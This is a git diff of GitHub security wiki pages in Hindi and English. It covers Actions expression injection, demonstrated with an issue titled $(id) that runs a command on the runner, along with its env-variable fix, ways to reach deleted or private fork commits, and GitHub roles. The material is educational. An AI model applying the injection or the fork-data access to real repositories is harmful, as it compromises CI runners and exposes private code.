अधिक जानकारी के लिए देखें [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
## संदर्भ
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
@@ -386,3 +408,5 @@ echo 'hello world!'
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,5 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,81 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## जोखिम को समझना
|
||||
## Understanding the risk
|
||||
|
||||
GitHub Actions ${{ ... }} expressions को step के execute होने से पहले render करता है। Render किया गया value step के program में paste हो जाता है (run steps के लिए, एक shell script)। यदि आप अविश्वसनीय इनपुट को सीधे run: के अंदर interpolate करते हैं, तो attacker shell program के एक हिस्से को नियंत्रित कर सकते हैं और arbitrary commands चला सकते हैं।
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
दस्तावेज़: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions और contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
मुख्य बिंदु:
|
||||
- Rendering execution से पहले होता है। Run script तब जनरेट होता है जब सभी expressions resolve हो जाते हैं, और फिर shell द्वारा execute किया जाता है।
|
||||
- कई contexts में triggering event (issues, PRs, comments, discussions, forks, stars, आदि) पर निर्भर उपयोगकर्ता-नियंत्रित फ़ील्ड होते हैं। untrusted input reference देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- run: के अंदर shell quoting एक भरोसेमंद रक्षा नहीं है, क्योंकि injection टेम्पलेट rendering स्टेज पर होता है। Attackers quotes तोड़ सकते हैं या crafted input के ज़रिये operators inject कर सकते हैं।
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
|
||||
## कमजोर पैटर्न → RCE on runner
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
|
||||
कमजोर workflow (जब कोई नया issue खोलता है तो ट्रिगर होता है):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
यदि attacker एक issue खोलता है जिसका शीर्षक $(id) है, तो रेंडर किया गया step बन जाता है:
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
कमांड सब्स्टिट्यूशन रनर पर id चलाता है। उदाहरण आउटपुट:
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
क्यों quoting आपकी रक्षा नहीं करता:
|
||||
- Expressions पहले render होते हैं, फिर जो स्क्रिप्ट बनती है वह चलती है। अगर अनट्रस्टेड value में $(...), `;`, `"`/`'`, या newlines हों, तो यह आपके quoting के बावजूद प्रोग्राम संरचना बदल सकता है।
|
||||
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
सही उपाय: अनट्रस्टेड इनपुट को एक environment variable में कॉपी करें, फिर run स्क्रिप्ट में native shell expansion ($VAR) का उपयोग करें। कमांड के अंदर ${{ ... }} के साथ फिर से embed न करें।
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
नोट्स:
|
||||
- run: के अंदर ${{ env.TITLE }} का उपयोग करने से बचें। इससे कमांड में फिर से template rendering हो जाता है और वही इंजेक्शन जोखिम लौट आता है।
|
||||
- untrusted inputs को env: mapping के माध्यम से पास करना बेहतर है और run: में उन्हें $VAR से संदर्भित करें।
|
||||
|
||||
## रीडर-ट्रिगर सतहें (untrusted मानें)
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
केवल read permission वाले खाते भी public repositories पर कई events ट्रिगर कर सकते हैं। इन events से निकले contexts के किसी भी field को attacker-controlled माना जाना चाहिए जब तक कि इसके विपरीत साबित न हो। उदाहरण:
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
@@ -77,20 +85,20 @@ echo "New issue $TITLE created"
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
कौन से विशिष्ट फील्ड attacker-controlled हैं यह event-specific होता है। GitHub Security Lab की untrusted input guide देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## व्यावहारिक सुझाव
|
||||
## Practical tips
|
||||
|
||||
- run: के अंदर expressions के उपयोग को न्यूनतम करें। env: mapping + $VAR को प्राथमिकता दें।
|
||||
- यदि आपको इनपुट को transform करना ही हो, तो shell में सुरक्षित टूल्स का उपयोग करें (printf %q, jq -r, आदि), फिर भी shell variable से शुरू करें।
|
||||
- जब branch names, PR titles, usernames, labels, discussion titles, और PR head refs को scripts, command-line flags, या file paths में interpolate करें तो विशेष सावधानी बरतें।
|
||||
- reusable workflows और composite actions के लिए भी वही पैटर्न लागू करें: पहले env में map करें फिर $VAR से reference करें।
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,56 +1,58 @@
|
||||
# Github में पहुँच योग्य हटाई गई डेटा
|
||||
# Accessible Deleted Data in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Github से डेटा तक पहुँचने के ये तरीके जो कथित तौर पर हटाए गए थे [**इस ब्लॉग पोस्ट में रिपोर्ट किए गए थे**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## हटाए गए फोर्क डेटा तक पहुँच
|
||||
## Accessing Deleted Fork Data
|
||||
|
||||
1. आप एक सार्वजनिक रिपॉजिटरी को फोर्क करते हैं
|
||||
2. आप अपने फोर्क में कोड कमिट करते हैं
|
||||
3. आप अपने फोर्क को हटा देते हैं
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
|
||||
> [!CAUTION]
|
||||
> हटाए गए फोर्क में कमिट किया गया डेटा अभी भी पहुँच योग्य है।
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
|
||||
## हटाए गए रिपॉजिटरी डेटा तक पहुँच
|
||||
## Accessing Deleted Repo Data
|
||||
|
||||
1. आपके पास GitHub पर एक सार्वजनिक रिपॉजिटरी है।
|
||||
2. एक उपयोगकर्ता आपकी रिपॉजिटरी को फोर्क करता है।
|
||||
3. आप उनके फोर्क करने के बाद डेटा कमिट करते हैं (और वे कभी भी अपने फोर्क को आपके अपडेट के साथ सिंक नहीं करते)।
|
||||
4. आप पूरी रिपॉजिटरी को हटा देते हैं।
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> भले ही आपने अपनी रिपॉजिटरी को हटा दिया हो, इसमें किए गए सभी परिवर्तन अभी भी फोर्क के माध्यम से पहुँच योग्य हैं।
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
|
||||
## निजी रिपॉजिटरी डेटा तक पहुँच
|
||||
## Accessing Private Repo Data
|
||||
|
||||
1. आप एक निजी रिपॉजिटरी बनाते हैं जिसे अंततः सार्वजनिक किया जाएगा।
|
||||
2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण (फोर्किंग के माध्यम से) बनाते हैं और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं।
|
||||
3. आप अपनी "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं।
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
|
||||
> [!CAUTION]
|
||||
> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण को सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है।
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
|
||||
## हटाए गए/छिपे हुए फोर्क से कमिट कैसे खोजें
|
||||
## How to discover commits from deleted/hidden forks
|
||||
|
||||
उसी ब्लॉग पोस्ट में 2 विकल्प प्रस्तावित किए गए हैं:
|
||||
The same blog post propose 2 options:
|
||||
|
||||
### सीधे कमिट तक पहुँच
|
||||
### Directly accessing the commit
|
||||
|
||||
यदि कमिट ID (sha-1) मान ज्ञात है तो इसे `https://github.com/<user/org>/<repo>/commit/<commit_hash>` में पहुँच पाना संभव है।
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### छोटे SHA-1 मानों का ब्रूट-फोर्सिंग
|
||||
### Brute-forcing short SHA-1 values
|
||||
|
||||
इन दोनों तक पहुँचने का तरीका समान है:
|
||||
It's the same to access both of these:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
और अंतिम वाला एक छोटा sha-1 का उपयोग करता है जो ब्रूटफोर्स किया जा सकता है।
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,187 +1,194 @@
|
||||
# बुनियादी Github जानकारी
|
||||
# Basic Github Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी संरचना
|
||||
## Basic Structure
|
||||
|
||||
एक बड़े **company** के लिए बुनियादी github वातावरण की संरचना यह है कि उसके पास एक **enterprise** होता है जो कई **organizations** का मालिक होता है और हर एक में कई **repositories** और कई **teams** हो सकते हैं। छोटी कंपनियों के पास केवल **एक organization और कोई enterprise नहीं** भी हो सकता है।
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
|
||||
किसी user के दृष्टिकोण से एक **user** अलग-अलग **enterprises और organizations** का **member** हो सकता है। इनके भीतर user के पास **विभिन्न enterprise, organization और repository रोल्स** हो सकते हैं।
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
|
||||
इसके अलावा, एक user अलग-अलग **teams** का हिस्सा हो सकता है जिनमें अलग-अलग enterprise, organization या repository रोल्स होते हैं।
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
|
||||
और अंत में **repositories में विशेष protection mechanisms हो सकते हैं।**
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: इस रोल वाले लोग **administrators को manage कर सकते हैं, enterprise के भीतर organizations को manage कर सकते हैं, enterprise settings को manage कर सकते हैं, और organizations पर policy लागू कर सकते हैं।** हालांकि, वे **organization settings या content तक पहुँच नहीं बना सकते** जब तक उन्हें organization owner बनाया न गया हो या सीधे organization-owned repository का access न दिया गया हो।
|
||||
- **Enterprise members**: आपके enterprise द्वारा owned organizations के members स्वचालित रूप से **enterprise के members** भी होते हैं।
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
एक organisation में users के अलग-अलग रोल हो सकते हैं:
|
||||
In an organisation users can have different roles:
|
||||
|
||||
- **Organization owners**: Organization owners के पास **आपकी organization पर पूर्ण administrative access** होता है। यह रोल सीमित रखा जाना चाहिए, लेकिन आपकी organization में कम से कम दो लोगों से कम नहीं होना चाहिए।
|
||||
- **Organization members**: organization में लोगों के लिए डिफ़ॉल्ट, non-administrative रोल organization member है। डिफ़ॉल्ट के रूप में, organization members **कई permissions** रखते हैं।
|
||||
- **Billing managers**: Billing managers वे users होते हैं जो आपकी organization के billing settings, जैसे payment information, **manage कर सकते हैं**।
|
||||
- **Security Managers**: यह एक रोल है जिसे organization owners किसी भी टीम को दे सकते हैं। लागू होने पर, यह टीम के हर सदस्य को **organization भर में security alerts और settings manage करने की permissions देता है, साथ ही organization के सभी repositories के लिए read permissions** देता है।
|
||||
- यदि आपकी organization में एक security team है, तो आप security manager रोल का उपयोग टीम के सदस्यों को organization तक न्यूनतम आवश्यक access देने के लिए कर सकते हैं।
|
||||
- **Github App managers**: किसी organization द्वारा owned GitHub Apps को अतिरिक्त users को **manage करने के लिए** अनुमति देने के लिए, एक owner उन्हें GitHub App manager permissions दे सकता है।
|
||||
- **Outside collaborators**: Outside collaborator वह व्यक्ति होता है जिसे **एक या अधिक organization repositories तक पहुँचन है पर वह organization का स्पष्ट रूप से member नहीं है।**
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
|
||||
आप इन रोल्स की permissions की तुलना इस तालिका में कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
_in_ https://github.com/organizations/\<org_name>/settings/member_privileges आप देख सकते हैं कि **organization का हिस्सा होने के नाते users को कौन-कौन सी permissions मिलेंगी**।
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
|
||||
यहाँ configured settings organization के members की निम्नलिखित permissions को संकेत करेंगी:
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
|
||||
- organization के सभी repos पर admin, writer, reader या कोई permission नहीं होना।
|
||||
- क्या members private, internal या public repositories बना सकते हैं।
|
||||
- क्या repositories का forking संभव है।
|
||||
- क्या outside collaborators को invite करना संभव है।
|
||||
- क्या public या private sites publish की जा सकती हैं।
|
||||
- repositories पर admins के पास क्या permissions हैं।
|
||||
- क्या members नई teams बना सकते हैं।
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
|
||||
### Repository Roles
|
||||
|
||||
डिफ़ॉल्ट रूप से repository रोल्स बनाये जाते हैं:
|
||||
By default repository roles are created:
|
||||
|
||||
- **Read**: उन **non-code contributors** के लिए अनुशंसित जो आपका प्रोजेक्ट देखना या उस पर चर्चा करना चाहते हैं।
|
||||
- **Triage**: उन contributors के लिए अनुशंसित जो issues और pull requests को proactively manage करने की ज़रूरत रखते हैं बिना write access के।
|
||||
- **Write**: उन contributors के लिए अनुशंसित जो **actively आपके प्रोजेक्ट में push करते हैं**।
|
||||
- **Maintain**: उन project managers के लिए अनुशंसित जो repository को manage करने की ज़रूरत रखते हैं बिना संवेदनशील या destructive क्रियाओं के access के।
|
||||
- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें प्रोजेक्ट पर **पूर्ण access** चाहिए, जिसमें security manage करना या repository delete करना जैसी संवेदनशील और destructive क्रियाएँ शामिल हैं।
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
|
||||
आप प्रत्येक रोल की permissions की तुलना इस तालिका में कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
आप अपने खुद के roles भी बना सकते हैं _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
आप किसी organization में बनाए गए teams की सूची _https://github.com/orgs/\<org_name>/teams_ पर देख सकते हैं। ध्यान दें कि किसी team के child teams देखने के लिए आपको प्रत्येक parent team तक पहुँचना होगा।
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
|
||||
### Users
|
||||
|
||||
Organization के users _https://github.com/orgs/\<org_name>/people_ में **listed** हो सकते हैं।
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
प्रत्येक user की जानकारी में आप देख सकते हैं कि user किस **teams** का member है, और user को कौन-कौन से **repos** का access है।
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github आपके account में authenticate करने और आपकी ओर से actions perform करने के विभिन्न तरीके ऑफर करता है।
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
|
||||
### Web Access
|
||||
|
||||
**github.com** तक पहुँच कर आप अपने **username और password** (और संभावित रूप से **2FA**) का उपयोग करके login कर सकते हैं।
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
आप अपने account को एक या अधिक public keys के साथ configure कर सकते हैं जिससे संबंधित **private key आपकी ओर से actions perform कर सके।** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
आप इन keys से user का impersonate नहीं कर सकते लेकिन अगर आप इसे उपयोग नहीं करते हैं तो ऐसा हो सकता है कि आप **commits बिना signature के भेजने पर पता चल जाएं**। इसके बारे में और जानने के लिए [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) देखें।
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
आप personal access token generate कर सकते हैं ताकि कोई application **आपके account तक access पा सके**। Personal access token बनाते समय **user** को यह **निर्धारित** करना होता है कि token को कौन-कौन से **permissions** मिलेंगे। [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications आपसे permissions माँग सकते हैं **आपकी कुछ github जानकारी तक पहुँचने के लिए या आपकी नकल कर कुछ actions करने के लिए**। इसका एक सामान्य उदाहरण वह **login with github button** है जो आप कुछ platforms में देख सकते हैं।
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
|
||||
- आप अपने खुद के **Oauth applications** यहाँ बना सकते हैं: [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- आप अपने account तक access रखने वाले सभी **Oauth applications** यहाँ देख सकते हैं: [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- आप देख सकते हैं कि **Oauth Apps किन scopes के लिए अनुरोध कर सकते हैं**: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- आप किसी **organization** में third party applications का access _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ पर देख सकते हैं।
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
कुछ **security recommendations**:
|
||||
Some **security recommendations**:
|
||||
|
||||
- एक **OAuth App** को हमेशा **authenticated GitHub user के रूप में GitHub पर काम करना चाहिए** (उदा., user notifications प्रदान करते समय) और केवल निर्दिष्ट scopes तक ही access होना चाहिए।
|
||||
- OAuth App को authenticated user के लिए "Login with GitHub" को सक्षम करके identity provider के रूप में उपयोग किया जा सकता है।
|
||||
- **Don't** एक **OAuth App** बनाएं यदि आप चाहते हैं कि आपका application केवल **single repository** पर काम करे। `repo` OAuth scope के साथ, OAuth Apps authenticated user के सभी repositories पर काम कर सकते हैं।
|
||||
- **Don't** OAuth App बनाएं जो आपकी **team या company** के लिए application के रूप में काम करे। OAuth Apps एक single user के रूप में authenticate करते हैं, इसलिए अगर किसी व्यक्ति ने company के लिए OAuth App बनाया और फिर वह व्यक्ति कंपनी छोड़ देता है, तो किसी और के पास उसका access नहीं रहेगा।
|
||||
- **More** जानकारी के लिए [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) देखें।
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications permissions माँग सकते हैं ताकि वे **आपकी github जानकारी तक पहुँच सकें या आपकी नकल करके** specific resources पर कुछ actions कर सकें। Github Apps में आपको यह specify करना होता है कि app किन repositories तक access रखेगा।
|
||||
